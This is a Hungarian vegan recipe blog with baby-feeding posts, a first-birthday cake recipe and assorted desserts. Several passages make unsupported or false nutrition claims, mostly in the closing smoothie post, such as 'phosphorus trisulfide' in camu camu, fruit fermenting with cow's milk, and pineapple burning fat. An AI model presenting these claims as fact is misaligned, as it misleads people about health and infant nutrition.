A palacsintához a liszteket, vizet összekeverjük és palacsinta sütő edényben egyenként kisütjük a forró kókusz olajon. Egy fél merőkanálnyi mennyiség elég, hogy kis méretű palacsintákat kapjunk. Ha sűrűsödik akkor kevés vízzel hígitjuk, az állaga palacsinta tészta sűrűség kell, hogy legyen.
Az öntethez a gyümölcsöket felforraljuk a xilittel, citromlével, fahéjjal és tálaláskor ráöntjük a palacsintánkra. Gyors, gluténmentes desszert vagy reggeli.
Az első születésnapi torta
Mérföldkő! Amikor egy évvel ezelőtt az első hetekben a szoptatás nehézségeivel küzdöttünk, akkor nagyon távolinak tűnt az első születésnap. Aztán pikk-pakk, álmodtunk egyet és felébredtünk Ádi első születésnapján. Ilyen gyorsan eltelt az első év! Természetesen voltak nehezebb napok és könnyebbek, néha könnyekkel, de többnyire sok-sok mosollyal, kacagással, hahotázással. Utaztunk együtt hármasban sokat – egyelőre Magyarországon -, az esetek többségében vonattal, szóval Ádi kiérdemelhetné a legifjabb, legtöbbet vonatozó kisbaba címet a MÁV-tól. Sok-sok újdonságot tanulunk mindannyian, Ádi is az életről, meg mi a szülői lét minden velejárójáról (aggódás, féltés, boldogság, büszkeség, stb.).
A mai napunk csodálatosan telt. Énekeltünk, majd jött néhány apró ajándék. Aztán I. megetette Ádit egy kis kásával és gyümölccsel, amíg én elkészítettem ezt a vegán palacsintatortát. Amibe nem került természetesen cukor és egyéb más mesterséges édesítőszer. A palacsinták puhák és a banántól édesek, a “csokoládé” krém vagy nevezhetjük pudingnak, pedig egyenesen mennyei. Néhány nappal ezelőtt már elkészítettem és teszteltem Ádin. Ezt a csoki pudingot adtam neki uzsonnára. Hát, a vége az lett, hogy anya és fia együtt nyalták ki a tálat, amiben a krém elkészült. Szóval most nagyobb adagot készítettem, így maradt holnap reggelire is, csak úgy magában vagy kásával tálalva.
A csokoládé azért került idézőjelbe, mert nem kakaóval készült, hanem annak “alternatív helyettesítőjével”, karobbal. Tudom, tudom, sokan nem szeretik az ízét, mert már hozzászoktunk a kakaóhoz. Azt kell, hogy mondjam, hogy nagyot csalódtam a karobban. Szuper finom lett a vele készült krém, és ha a babát ehhez szoktatjuk, akkor nem fog fanyalogni, hogy milyen íze van. Aki még nem próbálta, annak üzenem, hogy nem kell megijedni, nincs borzasztó íze, csak más, mint a kakaóé.
És, hogy miért érdemes fogyasztani? “A karobot a szentjánoskenyérfa terméséből állítják elő. A sötétbarna színű és kissé édeskés ízű karobport a fa hüvelytermésében található magok szárítása és őrlése révén állítják elő. A karobpor a kakaóval ellentétben nem tartalmaz teobromint, amely egy, a koffeinhez hasonlóan serkentő hatású alkaloid. A karob emellett glutén- és laktózmentes, nem tartalmaz koleszterint és nátriumszegény. A karobot így nyugodtan fogyaszthatják gyermekek, várandós és szoptató anyukák, idősek, lisztérzékenyek, tejcukorra és kakaóra érzékenyek, csontritkulásban, szív- és keringési betegségekben szenvedők, valamint köszvényes betegek is. A karob köztudottan antioxidáns hatású, gazdag vitaminokban, ásványi anyagokban és élelmi rostokban.” (Forrás: innen)
Az első torta tehát vegán banános palacsintatorta lett csokoládékrémmel megkenve. Hihetetlen sikert aratott! Ádi egyszerűen megbűvölte, meggyömöszölte, szétkente, majd befalt belőle egy adagot (közben anya és apa is csipegetett kicsit belőle). Természetesen a csap alatt végeztük mindannyian, mert mindenki, és főleg Ádi, csokis lett valahol. A lakmározás és magunk rendbe szedése után pedig csodálatos napsütésben elmentünk az állatkertbe, hogy Ádi ismerkedjen kicsit az állatokkal. Ámult-bámult, vigyorgott és érdeklődve figyelte az állatokat. Estére természetesen kidőlt a sok-sok újdonságtól és izgalomtól. Hát így telt az új időszámítás szerinti 365. napunk!
Boldog születésnapot kisfiunk! Nagyon-nagyon szeretünk téged! Anya és Apa
És lássuk a torta bűvölést, majd a végén a receptet!
“Na, vágjunk bele! Nézzük anya mit rakott össze nekem!”
“Oh, la la! Ahogy a franciák mondanák…”
“Húúú, ez egyre izgalmasabb!”
“Nyamm!”
“Anyám, add el a házat! Ez egyre finomabb!”
“Anya, te egy szuper szakács vagy! Úgy szeretlek a sok finom főztödért… meg mindenért!”
Az előke, ami kiállta a próbát: Monkie
Vegán banános palacsintatorta csokoládékrémmel (nemcsak babáknak)
Hozzávalók:
Közepes méretű amerikai palacsintákhoz (kb. 8-10 db):
- 2 db érett banán, villával pépesre törve
- 40 g teljeskiörlésű tönkölyliszt
- 60 g tönköly fehérliszt
- kb. 150-200 ml rizstej (zab- és mandulatej is használható)
- 1 evőkanál foszfátmentes sütőpor
- 1/2 vaníliarúd kikapart magjai
- kevés kókuszzsír a sütéshez
A csokoládékrémhez (nagyobb adag lesz belőle):
- 1 db közepes méretű érett avokádó, magja eltávolítva, húsa kikanalazva a héjából
- 2 db érett banán
- 2-3 evőkanál karobpor (kakaóval is lehet helyettesíteni)
- 2 evőkanál mandulavaj (opcionális)
- egy kevés rizstej (a megfelelő állag eléréséhez, ne legyen túl sűrű, de túl híg se, hogy tudjuk kenni)
Tegyük egy mélyebb tálba a krém hozzávalóit. Botmixerrel pürésítsük simára, majd felhasználásig tegyük hűtőbe.
Egy tálban keverjük össze a liszteket a sütőporral és vaníliával. Adjuk hozzá a pépesre tört banánt és rizstejet, keverjük, amíg sima, sűrű tésztát kapunk (ha túl sűrűnek találjuk, hígítsuk egy kevés mandulatejjel). Hagyjuk 5 percet állni, hogy a tészta megkeljen.
Tegyünk egy kevés kókuszzsírt a teflonserpenyőbe és forrósítsuk fel. Kisebb adagot kanalazunk (2 adag is mehet egyszerre) a palacsinta tésztából a serpenyőbe, közepes lángon sütjük az egyik oldalukat, amíg aranybarnák lesznek. Megfordítjuk és a másik oldalukon is sütjük 1-2 percig.
Várjuk meg, amíg kihűlnek a palacsinták, majd kenjük meg mindegyiket a krémmel és rétegezzük egymásra. Marad annyi krém, hogy akár a külsejét is bevonhatjuk vele.
Táplálj helyesen édesanyám! (2. rész)
2014. április 22. Zizi kalandjai
Bambusz tálka és kanál {Shakshuka}, konyharuha {H&M Home}, csörgő {Erdélyből}
Január végén írtam az első részt és azóta sokan jeleztétek, hogy várjátok már a második részt. Annyi információ és tapasztalat kering a fejemben, azt sem tudom hol kezdjem. Igyekszem részekre bontani, hogy könnyen átlátható legyen. Továbbra is jelzem, hogy a leírtak a saját tapasztalataimból fakadnak és tájékoztató jellegűek. Mindenki kérje ki az anyukája, nagymamája, védőnője, gyermekorvosa tapasztalatait is, meg okosodjunk könyvekből is és ahogy említettem, cselekedjünk aszerint, amit a szívünk diktál.
Január végén majdnem 9 hónapos volt Ádi, most meg már majdnem 12 hónapos. Ezalatt az idő alatt sok minden történt a táplálkozás terén (is)… haladjunk szép sorjában. Receptek pedig a bejegyzés végén!
Zöldségek
A hozzátáplálást ősszel kezdtük, így a szezonalitást követve az alábbiakat kóstolta meg szépen sorban Ádi: répa, sütőtök, cékla, paszternák, zeller, petrezselyemgyökér. Nagyjából ez volt a választék, de leginkább répa, paszternák és sütőtök volt a nyerő hármas.
Aztán kb. 9,5 hónapos kortól kipróbáltuk a spenótot (sikerült friss bio spenótot szereznünk a piacon). Egész jól fogadta, csak magában kevés vízzel megpárolva, majd a végén egy kis mandulatejet hozzáöntve pépesre turmixoltam. Néhány nappal később sütőtök-paszternák kombóhoz adtam spenótot harmadiknak. Így is ízlett neki. Aztán persze volt olyan, hogy nem tetszett neki magában a spenót, szóval tartottam néhány nap szünetet, majd újra próbáltam és csodák csodájára, ízlett.
10 hónapos kora után kipróbáltam a csicsókát is, amit csak vízben magában puhára pároltam és összeturmixoltam. A csicsókának nem szeretem az illatát, az ízét is csak levesben más zöldségekkel, fűszerekkel összefőzve. Hát, Ádinak bejött totál natúran megfőzve. Utána kevertem neki almával, sütőtökkel, répával, mikor mi volt itthon. Örültem, hogy végre találtam egy új szezonális zöldséget és kicsit bővíthettem a menüt. Bár lehet, hogy csak én untam már az eddigieket és Ádi még nem.
10,5 hónapos korától aztán készítettem neki zöldség krémlevest, amibe került répa, karfiol, vöröshagyma, ezt megfőztem, egy csipet sót tettem bele és pürésítettem. A vöröshagyma ebben az esetben igen jó “fűszernek” bizonyult, ez már alapból egy olyan leves volt, amit én is szívesen ettem. Ebben az időszakban adtam neki kipróbálásra bio uborka karikát (meghámozva) rágcsálni és egy kevés lucernacsírát. Az uborka jól jön fogzás idején, mert hűti a fogínyt, csak óvatosan bánjunk vele, hogy ne harapjon le belőle túl nagy darabot a baba, szóval érdemes mindig résen lenni. A csírából persze a fele a földön végezte, de azért valamennyi jutott Ádi szájába is.
Előke {Franck & Fischer a Monkie-tól}
Egyszer főztem magunknak fokhagymás paradicsomos (konzerv hámozott paradicsomból – igen, tudom, hogy a paradicsom gyümölcs, de most a leveleskel/spenót paradicsomos tészta miatt a zöldségek közé került) tésztát, amibe pirítottam leveleskelt is, csak egy kis sót tettem bele és amikor kész volt, kivettem belőle egy adagot Ádinak, a maradékot pedig befűszereztem magunknak. Ádi adagját pürésítettem és így ette, de persze nem ette meg mindet első alkalommal. Készült ugyanez csak leveleskel helyett spenótot főztem a paradicsomos szószba. A zöldség krémleveseket ebben az időben elég gyakran variáltam, volt, hogy répa, petrezselyemgyökér, póréhagyma, fokhagyma és spenót került bele. Igen, finom volt, Ádinak is bejött.
11 hónapos kora után, amikor már nagyon untam a szezonális zöldségeket, akkor úgy éreztem muszáj újítanom és fagyasztott zöldborsóból főztem Ádinak krémlevest. Nagyon bejött neki. Sőt nagy adagot főztem és nekünk is ez volt az ebédünk. Aztán kevertem a zöldborsót is más zöldségekkel, majd a spárga piacokon való megjelenésekor kaptam az alkalmon és kipróbáltam a spárgát is, persze csakis más zöldségekkel és egy csipet sóval összefőzve, majd pürésítve. Néha-néha kapott még egy kis salátát, amit többnyire tőlünk kuncsorgott el, amikor látta, hogy azt eszünk. Ja és a múltkor elkezdett rágcsálni egy szál zsenge tavaszi újfokhagymát! Ízlett neki!
Itt tartunk most zöldség téren… várom már a tök, cukkini, brokkoli, padlizsán, paprika és paradicsom szezont!
Gyümölcsök
Elég sokáig Ádi csak almát evett, majd 10 hónapos kora körül bevezettük nála a körtét is. Nagyon szereti mindkét gyümölcsöt. Eszi nyersen is magukban, kásákhoz keverve, valamint az almából levest (de nevezhetjük kompótnak) is főztem neki.
Cumisüveg {Lifefactory}
10,5 hónapos kora után, amikor a szoptatást kicsit csökkenteni kezdtem és növelni kellett a folyadék fogyasztást, akkor ebéd után fél órával adtam neki kifilézett narancsot (Lidl-ben lehet kapni bio, kezeletlen héjú narancsot elég jó áron). Az édes, szaftos, lédús narancs falatkákat imádja, nem tud betelni vele. Háromszor pedig adtam neki bio banánt, amit szintén nagyon szeret.
11 hónapos kora után pedig adtam neki finom érett avokádót. Sikerült “ready-to-eat” avokádóhoz jutnom, amely annyira, de annyira finom, hogy magában só, fűszerek nélkül is eteti magát. Természetesen Ádinak is bejött.
Gabonák, glutén, pékáru
10 hónapos koráig csak gluténmentes gabonákat főztem Ádinak: kölest, barnarizst és hajdinát. Ezeket főztem meg (kb. három evőkanálnyi elég két étkezésre) bő vízben és puha, kásás állagúra készítettem. Én soha nem adtam magában – noha lehetne -, mindig zöldségpüré vagy például az almaleves mellé adtam.
10 hónapos kora után kapott először glutént tartalmazó ételt. Főztem neki tésztát és ezt spenóttal, zöldségkrémmel, spenótos paradicsomszósszal tálaltam. Ádinak mindegyik változat ízlik. Magyar tésztát választottam – egy barátnőm, Adri javaslatára -, amely nagyon gyorsan megfő és természetesen tojásmentes (a csomagolására nincs ráírva, de a weboldalon szerepel, hogy nyomokban tartalmazhat tojást… remélem azért, hogy nem!). A tésztát jó puhára főzöm és apró darabkákra vágom, erre szedem rá a zöldséges szószt. Ádi szeret nyammogni a tészta darabkákon, de egyébként a főtt tésztát is lehetne pürésíteni, de én nem tettem, ahogyan a főtt gabonákat sem.
10,5-11 hónapos kora körül adtam neki először pékárut. A Piszkei Ökonál vettem teljeskiörlésű élesztő nélküli tönkölybúza kiflit, amit karikákra és apró falatokra vágtam és vagy avokádóval vagy anyukám cukormentes szilvalekvárjával kentem meg. Ez kiváló étel uzsonnára. Ezenkívül a Lét-Reform pékségnél szoktam venni teljeskiörlésű élesztő nélküli cukormentes meggyes, szilvás vagy almás rétest. Apró falatokra tépkedem Ádinak és így eszi meg néha reggelire, de többnyire ebéd után desszertnek vagy uzsonnára.
Sütöttem már neki baba palacsintát is, amelyben almapüré, rizstej és zabliszt van. Első alkalommal reggelire készítettem és az apró palacsintákból megevett három darabot. Második alkalommal pedig uzsonnára készült. Odaadtam neki egy egészet, de csak forgatta, úgyhogy inkább én tépkedtem kicsi falatokra és tettem a szájába. Nyelte, mint kacsa a nokedlit. Gyorsan összedobható és ha megyünk valahova, akkor is könnyen magunkkal tudjuk vinni. Arról nem is beszélve, hogy szerintem minden gyerek szereti.
10 hónapos kora előtt rizspehelyből, 10 hónapos kora után már zabpehelyből is főztem neki kását reggelire. Általában reszelt almát vagy körtét keverek hozzá és így adom Ádinak. Sokszor együtt főzzük a miénkkel, így már mi is megszoktuk, hogy teljesen cukormentes együk a kását, csak egy kis gyümölccsel édesítjük és nekünk is nagyon bejön. Ezeken kívül főzök kását teljeskiörlésű tönkölydarából is (ebből vagy ebből).
Folyadék
Az anyatejen kívül többnyire szűrt vizet vagy forrásvizet adok Ádinak. Iszik cukormentes bio meggylevet és rizstejet. Mandulatejet ivásra még nem kapott, de van, hogy ezzel készítem a reggeli kásáját, tehát kipróbálta már. Nagyon oda kell figyelni, hogy az anyatej csökkentése után igyon eleget, így napközben minden órában igyekszek megitatni vele egy kevés folyadékot.
Zsiradék
Közvetve nem adok, de pároltam már vöröshagymát, fokhagymát hidegen sajtolt extra szűz olívaolajon, a palacsintákat pedig nagyon kevés kókuszszírban szoktam megsütni.
Fűszerek
Amit eddig használtam: fahéj (almaleveshez, reggeli kásákhoz) és zöldfűszerek (kakukkfű, bazsalikom).
Bolti bébiételek
Ahogy korábban említettem, tartok itthon vészhelyzet esetére bio bébiételeket (sütőtök almával, alma, körte, körte csipkebogyóval, répa, őszibarack), arra az esetre, ha minden összejön és nincs időm főzni vagy valami, amit főztem és nem ízlik Ádinak (mostanában nem történik ilyen), akkor legyen helyette gyors alternatíva. Jól olvassátok el mindig az összetevőket, hogy ne legyen benne cukor!
Tárolás
Én többnyire egy napra vagy két napra főzök egy ételt Ádinak. Hűtőben tárolom maximum két napig, de mielőtt odaadnám neki az előző napos ételt, mindig megkóstolom, hogy jó-e még! Természetesen le is lehet fagyasztani például jégkockatartókba téve, de mivel nekem nagyon kicsi a mélyhűtő fakkom, ezért mindig frissen főzök ebédet és nem fagyasztok le megmaradt adagokat.
*****
És akkor jöjjenek a receptek… Ádi eléggé haspók mostanában, szóval a mennyiségek az ő adagját tükrözik. Lehet, hogy más babának ez több étkezésre elég, de az is elég, hogy kevesebbre, mert még nagyobb haspók, mint Ádi!
Spenótpüré
Hozzávalók:
- 1 nagy marék spenót
- kevés víz
- 2-3 evőkanál mandula- vagy rizstej
- ha már fűszerezünk, akkor csipet só és 1 gerezd fokhagyma, felaprítva
Egy lábasban pároljuk össze a spenótot a fokhagymával és a vízzel. Sózzuk. Adjuk hozzá a mandulatejet és pürésítsük simára. Ezt adhatjuk magában vagy tésztával, kölessel, barnarizzsel tálalva.
Almás baba palacsinta
Hozzávalók kb. 5 darabhoz:
- 3 evőkanál frissen reszelt almapüré
- 2 evőkanál rizstej
- 5 evőkanál zabliszt
- 1 teáskanál kókuszzsír
Egy tálban keverjük össze az almapürét a rizstejjel. Adjuk hozzá a lisztet. Sűrű “tésztát” kell kapnunk. Egy teflonserpenyőt hevítsünk fel, olvasszuk fel a kókuszzsírt és kanalazzunk (evőkanálnyi) adagokat a tésztából a serpenyőbe. Kanállal lapítsuk kerek formára és süssük, amíg megbarnul és könnyen átfordítható lesz. Süssük a másik oldalukon is néhány percig a palacsintákat.
Zöldborsó krémleves
Hozzávalók:
- 1 bögre zöldborsó
- 1/4 darab vöröshagyma, felaprítva
- 1 gerezd fokhagyma, felaprítva
- csipet só
- víz
- mandulatej vagy rizstej
- 2 teáskanál extra szűz olívaolaj
- kevés kakukkfű (opcionális)
- 1/2 marék spenót (opcionális)
Egy lábasban hevítsük fel az olívaolajat és pároljuk meg a vöröshagymát és fokhagymát néhány perc alatt. Adjuk hozzá a zöldborsót, öntsük fel annyi vízzel, amennyi éppen ellepi. Sózzuk és főzzük a borsót puhára. Ha elkészült pürésítsük simára és hígítsuk egy kevés mandula- vagy rizstejjel. Én úgy szeretem, ha elég sűrű, mert így könnyebb Ádi szájába kanalazni. Néhányszor adtam már hozzá friss spenótot, amit a főzés végén adtam hozzá, majd ezzel együtt pürésítettem. Többnyire adok hozzá valamilyen főtt gabonát.
Rizs- vagy zabpehely kása
Hozzávalók 1 adaghoz:
- 3 evőkanál rizs- vagy zabpehely
- 1 alma vagy körte, meghámozva, lereszelve
- mandula- vagy rizstej
- 1 teáskanál mandulavaj (opcionális)
- csipet fahéj
Tegyük a lábasba a rizspelyhet annyi rizstejjel, amennyi ellepi. Ha főzés során nagyon besűrűsödik, akkor adjunk még hozzá egy kevés tejet. Mielőtt elzárjuk a gázt adjuk hozzá a fahéjat és a mandulavajat. Tálaláskor keverjük hozzá a reszelt almát vagy körtét.
Tönkölykása
Hozzávalók 1 adaghoz:
- 3 evőkanál tönkölydara
- 1 alma vagy körte, meghámozva, lelreszelve
- mandula- vagy rizstej
- csipet fahéj
Tegyük egy lábasba a tönkölydarát a mandulatejjel és fahéjjal. Főzzük sűrű kása állagúra. Tálaláskor keverjük hozzá a reszelt almát vagy körtét.
Almaleves (vagy almaszósz, amit “kenyérre kenni nem lehet” )
Hozzávalók 2-3 adaghoz:
- 2 közepes alma, meghámozva, kicsumázva, apró kockákra felvágva
- 100 ml víz
- kb. 200-300 ml rizs- vagy mandulatej
- 1 evőkanál tápióka keményítő
- csipet fahéj
- 1/2 evőkanál frissen facsart citromlé
Ezt a levest soha nem tudom egyforma állagúra főzni, hol sűrűbb, hol pedig hígabb (majd ti is kitapasztaljátok). Tegyük fel a vizet egy lábasban forrni. Közben a felkockázott almát szórjuk meg fahéjjal és locsoljuk meg a citromlével, keverjük össze és adjuk a vízhez. Vegyük takarékra a lángot és fedő alatt pároljuk az almát puhára. Öntsük hozzá a rizstejet és főzzük tovább. A tápióka keményítőt keverjük simára egy kevés rizstejjel és adjuk a leveshez. Hagyjuk egy kicsit besűrűsödni és tálaljuk (én főtt kölest vagy barnarizst szoktam mellé adni).
——————————–
A bejegyzést nem támogatta egyik cég sem! A linkeket azért szúrtam be, mert a termékeket nagyon jónak tartom és úgy gondolom érdemes másoknak is kipróbálniuk.
Tavaszi Zöld Pite
Az alábbi recept egyik kedvenc, gyors fogásom, legyen szó hétköznapról, ünnepről vagy piknikről. A feltét pedig annyi és olyan zöldség kavalkád ami a kedvencünk és csak a fantáziánk szab határt. Most én a kedvenc zöldségeimmel gazdagítottam ezt a pitét, de minden zöldség éppen csak roppanós, zsenge. Nem szeretem a “halálra” főzött, sütött zöldségeket a tányéromon.
Három fázisban készül a pite:
Tészta:
125 g teljeskiőrlésű tönköly liszt
125 g világos tönköly liszt
1/2 kk himalaya só
1/2 kk őrölt kömény
1 zacskó foszfátmentes sütőpor
125 g bio margarin
1-2 dl víz vagy növényi tej
A tészta hozzávalóit összekavarjuk és alaposan összegyúrjuk. Megszórjuk kevés liszttel és pihentetjük ameddig elkészül a feltét.
Feltét: Besamel
4-5 evőkanál világos tönköly liszt vagy rizsliszt
4-5 evőkanál kókusz olaj
4 dl rizstej, vagy 2 dl kókusztejszín- 2 dl vízzel elkeverve ( így krémesebb, finomabb)
1 kk himalaya só
késhegyni őrölt koriander
késhegyni őrölt fehér bors
1 evőkanál citromlé
1 cikk préselt fokhagyma
A kókusz olajat felolvasztjuk, hozzáadjuk állandó keverés mellett a lisztet ( kézi habverő segítségével folyamatosan keverjük, hogy ne legyen csomós). Óvatosan adagoljuk hozzá a tejet. Lehúzzuk a lángról és besűrítjük, állandó keverés mellett pedig ízesítjük, fűszerezzük. Lágy, selymesnek, csomómentesenk kell, hogy legyen.
Zöldségek:
1/2 brokkoli rózsáira szedve
fél maroknyi zöld spárga
kaliforniai paprika csíkokra vágva
tehetünk rá zöldhagymát, póréhagymát felkarikázva
1-1,5 liter vizet felforralunk, amelybe 1 kk sót és 1 kk szódabikarbónátot teszünk, amikor lobog külön-külön beledobjuk a brokkolit, majd a spárgát, kettő percig blansírozzuk, kiemeljük és hideg vízfürdőbe mártjuk, majd ugyanezt tesszük a spárgával is. A többi zöldség teljesen nyersen kerül a pitére.
A tésztát 0,5-0,7 cm vastagságúra nyújtjuk és egy kerek vagy szögletes kb. 30×20-as méretű tepsit kibélelünk vele. A szélét felhozzuk, mint a pizzánál, hogy ne fólyon ki a mártás. Rákanalazzuk a mártást, ráhelyezzük a zöldségeket, én kevés vékonyra szeletelt sajtot is tettem rá és előmelegített sütőben 180 C fokon 25 percig sütjük. Főételként egy zöld salátával isteni lakoma!
Törökmogyorós-marcipános zabkeksz
2014. április 18. Mindennapi ételeink
Az egyik legfinomabb és legegyszerűbb, egészséges édesség. :-) Hozzávalók: 10 dkg marcipánmassza nádcukorral 35 dkg zabpehely 25 dkg finomliszt 2 ek. foszfátmentes sütőpor 1 marék mazsola 1 marék törökmogyoró 3 dl olívaolaj 2 ek. karob 2 alma 1 citrom héja 2 ek. agavé szirup/méz 15 dkg kókuszvirág cukor Elkészítés: A lisztet, a kókuszvirág cukrot, a foszfátmentes sütőport és a zabpelyhet és a karobot összekeverjük. Majd hozzáadjuk a mazsolát, a durvára vágott mogyorót, az olívaolajat, agavé szirupot, a két lereszelt almát, citromhéjat. Alaposan összedolgozzuk, majd kis gombócokat formázunk, közepükbe teszünk a marcipánmasszából melyeket olajjal, liszttel kikent tepsibe teszünk. Mindegyik tetejébe helyezünk egy-egy mogyorót. Előmelegített sütőben 180 fokon kb. 20 perc alatt kisütjük.
Fügés-magos almatorta
Két “kisinas” jött hozzám tegnap egy sátrat fonni, nekik készült ez a remekmű. Nagy sikere lett ;) Ebből e mennyiségből egy 18 cm-es tortaformát töltöttem meg. Hozzávalók az alaphoz: 1 maréknyi zabpehyely 2 ek kókuszliszt 10 db aszalt füge A zabpelyhet 15 percre beáztattam meleg vízbe, majd a keverőtálba került, ahová hozzáadtam a kókuszlisztet, és […]
Csicseri gyros (vegetáriánus gyros csicseriborsóból)
Rég találtam már fel ilyen finom ételt. Régebben nagyon szerettem a gyrost. Amióta elhagytam a húst, néha picit hiányzott, ilyenkor gombát kevertem össze gyros fűszerkeverékkel, és azt sütöttem kis csöpp olajban, vagy egyszerűen csak beértem a görög salátával.
Most is a megunhatatlan görög salátámnak álltam neki, és jött az ihlet: legyen csicseriborsóból gyros.
Az eredmény: fenomenális. Bátran ajánlom mindenkinek, aki hús helyett egészségesebb megoldásokat keres.
Hozzávalók:
1 doboz csicseriborsó konzerv (adalékanyag mentes) vagy egy nagy csésze csicseriborsó megfőzve, víz, só, gyros fűszerkeverék (adalékanyag mentes – főleg Na-glutamát mentes), rizsliszt, útifű maghéj, 1 evőkanál lenmag (én arany lenmagot használtam), csöpp szőlőmagolaj vagy kókuszzsír a sütéshez
Elkészítés:
A csicseriborsó konzervet lecsöpögtetjük, leöblítjük, majd felengedjük annyi vízzel, hogy turmixolható legyen. Botmixerrel összeturmixoljuk pépesre, főzelék sűrűségűre. Megsózzuk, ízlés szerint belekeverünk annyi gyros fűszerkeveréket, amennyi jól esik. Sűrítéshez rizslisztet és útifű maghéjat adunk, valamint, hogy ne essen szét a massza, adható még hozzá lenmag is.
Az egész masszát összekeverjük, és megvárjuk, míg keménnyé válik. A keményebb masszából nudli formát gyúrunk a kezünkkel, majd ellapítjuk, így imitálva a gyros formáját is.
Ha nem szeretnénk pepecselni vele, nagyobb fasírt formának is kisüthető.
A kis gyros falatkákat nagyon pici szőlőmagolajon vagy kókuszzsíron megpirítjuk, és már kész is van.
Görög salátával (uborka, lila hagyma, paradicsom, feta sajt, olívabogyó) és tzatziki mártással (magtejföl vagy natúr joghurt, reszelt uborka, só, xilit, citromlé, bors, kapor) tálaljuk.
Jó étvágyat!
Mákos metélt
Ez az isteni édesség a második fogásom volt ;) Mindenkinek csak ajánlani tudom ? Elkészítési idő: 5 perc Hozzávalók személyenként: 1 csicóka 2 ek darált mák, 1 tk kókuszvirágcukor néhány darab aszalt gyümölcslap (ami leesik a palacsinta széléből, sütikből, azokat a darabokat szórtam bele. Ez most alma-füge aszalvány volt ;) A csicsókát folyó víz alatt […]
Datolyás, kókuszvirág cukros muffin (vegán)
2014. április 1. Mindennapi ételeink
Hozzávalók: 2 dl finomliszt 1/2 zacskó foszfátmentes sütőpor 2 dl kókuszvirág cukor 1 dl olívaolaj 2 dl víz 1/2 csésze dió 1/2 csésze datolya Elkészítés: A lisztet, sütőport, cukrot kimérjük és összekeverjük. Egy másik tálban az olajat, a vizet vegyítjük össze, a diót és a datolyát apró darabokra vágjuk. Mindezt hozzáadjuk a lisztes keverékhez. 180 fokos sütőben muffinformába téve 25-30 perc alatt kisütjük.
Borsóleves - borsót hogyan a picúrnak? 7+
Eleinte, ahogy a hozzátáplálást kezdtük a kis Mazsola állandóan kunyerált a levesemből, sokszor abból ette ki a darabokat. Egyszerű volt a dolog, csak úgy kellett készítenem, hogy Ő is megehesse. Manapság muszáj vagyok turmixolni. Ha pl. 2 kis tésztát talál a pépes bolti babakajában, képes kiköpködni az egészet... Pedig azóta kétszer annyi idős. Egyébként eleszegeti az édesköményt is magában, meg a kenyeret, néha a répát, kápia paprika darabot, almát. Tehát nem a darabos kajával van baja. Mindegy no, ha azt akarom, hogy egyen, igazodom. (mértékkel) A borsóleves kezdetek óta a kedvencei közé tartozik. Most, hogy egy éves elmúlt, tojásos galuskával is csinálhatjuk, de ha kisebb manócskáról van szó, vagy vegán családról, egyszerű zabgaluska kerülhet levesbetétként az ételbe. Hozzávalók: a leveshez: 1/2 kg zöldborsó 3 szál répa 3 szál petrezselyem gyökér 1 kisebb zeller 1 pici fej vöröshagyma 1 gerezd fokhagyma 1 tk kókuszzsír 1 csipet majoránna, őrölt kömény só víz a galuskához: 1 tojás vagy 1 ek zabliszt pár kanál tk liszt 1 ek tk liszt 1 tk vegamix 1 tk vegamix csipet só csipet só víz A zöldségeket megtisztítjuk, felaprítjuk, a zellert nagyobb darabokban hagyjuk. A kókuszzsíron picit megfuttatjuk őket, majd adunk hozzá pár kanál vizet. Beleöntjük a borsót is (a nagyrédeieknek van most bababarát terméke, ha nem elérhető a bio, vagy nincs házi. A Sp*rban mindig van.). Lassú tűzön hagyjuk puhulni a zöldségeket. (finomabb lesz így) Közben megpucoljuk a hagymákat, azt is beledobjuk, és hozzáadjuk a fűszereket. A baba miatt főzhetünk bele 1-2 szemkrumplit is. A vizet egy darabig utánapótoljuk, majd felengedjük annyival, hogy éppen ellepje. A galuskához a tészta hozzávalóit egy villával eldolgozzuk. A vegán galuskához adhatunk kevés őrölt lenmagot is. Ez a fajta tészta lassabban fő meg. Amikor a zöldségek majdnem megfőttek, beleszaggatjuk a galuska tésztát. Együtt főzzük. A babának, mikor elkészült, kiveszünk nagyobb darab zöldségeket, villával összepasszírozzuk, vagy botmixerrel is dolgozhatunk. A borsót egy kis szűrőbe tesszük, amin átpasszírozzuk, és úgy adjuk a többi zöldségféléhez. Így a borsó héja nem bántja a pocakot. (Amúgy sem lehet normálisan összemixelni, nem megy szét a legjobb géppel sem igazán.) Ha már nagyobb, keverhetünk bele 1 kk biotejfölt, vagy összefőzhetjük 1 tk darált kesudióval. Tehetünk a galuskából is mellé 1-2 darabot. Ha "hizlalni" akarjuk a picit, egy ek. tökmagolajjal összekeverhetjük a papit, szívesen megeszik a babák.
Ananász smoothie camu camuval
2014. március 22. Éltető ételek
Nagyon ízlett ez a camu camu juice, amely alapja a camu gyümölcs és az ananász. Így készítettem egy itthoni változatot, melyet még egy kis gojival is felturbóztam. Én egyszerűen vízzel turmixoltam össze, de akár mandula-, vagy kókusztejet is használhatunk. Mindenesetre NE bocitejjel és tejtermékkel készítsük, mert annak a bélben erjedés lesz az eredménye. A reggeli órákban, délelőtt ajánlom fogyasztani őket, mivel gyümölcs az alapjuk. És ne felejtkezzünk el (mint mindeny gyümölcs esetében) az erjedésgátló fűszerekről sem, mint pl. a szegfűszeg, fahéj, gyömbér. A gojitól gyönyörű napsütés színe lett. Hozzávalók: - 20 dkg tisztított ananász - 1 ek. goji - 1 tk. camu camu por - 1/2 kk. fahéj Ananász Élettani hatásai - Kitűnő emésztési zavarokra. Az érett ananász tartalmaz egy olyan enzimet /bromelint/ amely rendkívül gyors fehérjebontó hatással rendelkezik, ezáltal csökkentheti az emésztési zavarokban szenvedők panaszait. Ezért érdemes a húsfogasztás előtt ananászt is enni, hogy ez az enzim segítse annak gyorsabb lebontását. - Számos vitamin - A, C és B vitaminok - vas és magnézium található benne, a gyümölcssavak és rostok pedig segítik az emésztést. - A zsírégetést felgyorsítja, ezáltal a fogyókúrázók kedvelt gyümölcse. Camu camu - A világ leggazdagabb C vitamin forrása - Camu Camu egy természetes vitaminforrás. Számos tanulmány számolt már be a C-vitamin-hiány és a depresszió közötti összefüggésről. - Széles spektrumú antioxidáns tulajdonságokkal rendelkezik. Harmincszor több C-vitamint, 10-szer több vasat, 3-szor több niacint, 2-szer több riboflavint és 50%-kal több foszfortriszulfidot tartalmaz, mint a narancs. - A Camu Camu béta-karotinokban, kalciumban, leucinban, fehérjékben, szerinben, tiaminban és valinban gazdag. - A Camu Camu cserje a Perutól Brazíliáig húzódó, amazonasi esőerdőben honos. - Ajánlott megfázásra, influenzára. Kiváló antidepresszáns és öregedésgátló. Ezen kívül 